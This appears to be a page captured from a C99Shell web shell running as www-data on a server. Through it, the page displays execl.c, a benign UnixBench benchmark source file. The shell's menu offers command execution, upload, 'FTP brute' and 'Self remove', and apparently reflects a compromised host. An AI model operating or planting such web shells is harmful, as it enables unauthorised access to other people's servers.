!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/sources/unixbench/UnixBench/src/   drwxrwxr-x
Free 83.34 GB of 96.73 GB (86.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     execl.c (2.54 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*******************************************************************************
 *  The BYTE UNIX Benchmarks - Release 3
 *          Module: execl.c   SID: 3.3 5/15/91 19:30:19
 *
 *******************************************************************************
 * Bug reports, patches, comments, suggestions should be sent to:
 *
 *    Ben Smith, Rick Grehan or Tom Yager
 *    [email protected]   [email protected]   [email protected]
 *
 *******************************************************************************
 *  Modification Log:
 *  $Header: execl.c,v 3.5 87/06/22 15:37:08 kjmcdonell Beta $
 *  August 28, 1990 - Modified timing routines
 *  October 22, 1997 - code cleanup to remove ANSI C compiler warnings
 *                     Andy Kahn <[email protected]>
 *
 ******************************************************************************/
/*
 *  Execing
 *
 */
char SCCSid[] = "@(#) @(#)execl.c:3.3 -- 5/15/91 19:30:19";

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

char    bss[8*1024];    /* something worthwhile */

#define main dummy

#include "big.c"        /* some real code */

#undef main

/* added by BYTE */
char *getenv();


int main(argc, argv)    /* the real program */
int    argc;
char    *argv[];
{
    unsigned long iter = 0;
    char *ptr;
    char *fullpath;
    int     duration;
    char    count_str[12], start_str[24], path_str[256], *dur_str;
    time_t    start_time, this_time;

#ifdef DEBUG
    int count;
    for(count = 0; count < argc; ++ count)
        printf("%s ",argv[count]);
        printf("\n");
#endif
    if (argc < 2)
        {
        fprintf(stderr, "Usage: %s duration\n", argv[0]);
        exit(1);
        }


    duration = atoi(argv[1]);
    if (duration > 0)
        /* the first invocation */
        {
        dur_str = argv[1];
        if((ptr = getenv("UB_BINDIR")) != NULL)
            sprintf(path_str,"%s/execl",ptr);
        fullpath=path_str;
        time(&start_time);
        }
    else  /* one of those execl'd invocations */
        {
        /* real duration follow the phoney null duration */
        duration = atoi(argv[2]);
        dur_str = argv[2];
        iter = (unsigned long)atoi(argv[3]); /* where are we now ? */
        sscanf(argv[4], "%lu", (unsigned long *) &start_time);
        fullpath = argv[0];
        }

    sprintf(count_str, "%lu", ++iter); /* increment the execl counter */
    sprintf(start_str, "%lu", (unsigned long) start_time);
    time(&this_time);
    if (this_time - start_time >= duration) { /* time has run out */
        fprintf(stderr, "COUNT|%lu|1|lps\n", iter);
        exit(0);
        }
    execl(fullpath, fullpath, "0", dur_str, count_str, start_str, (void *) 0);
    fprintf(stderr, "Exec failed at iteration %lu\n", iter);
    perror("Reason");
    exit(1);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0072 ]--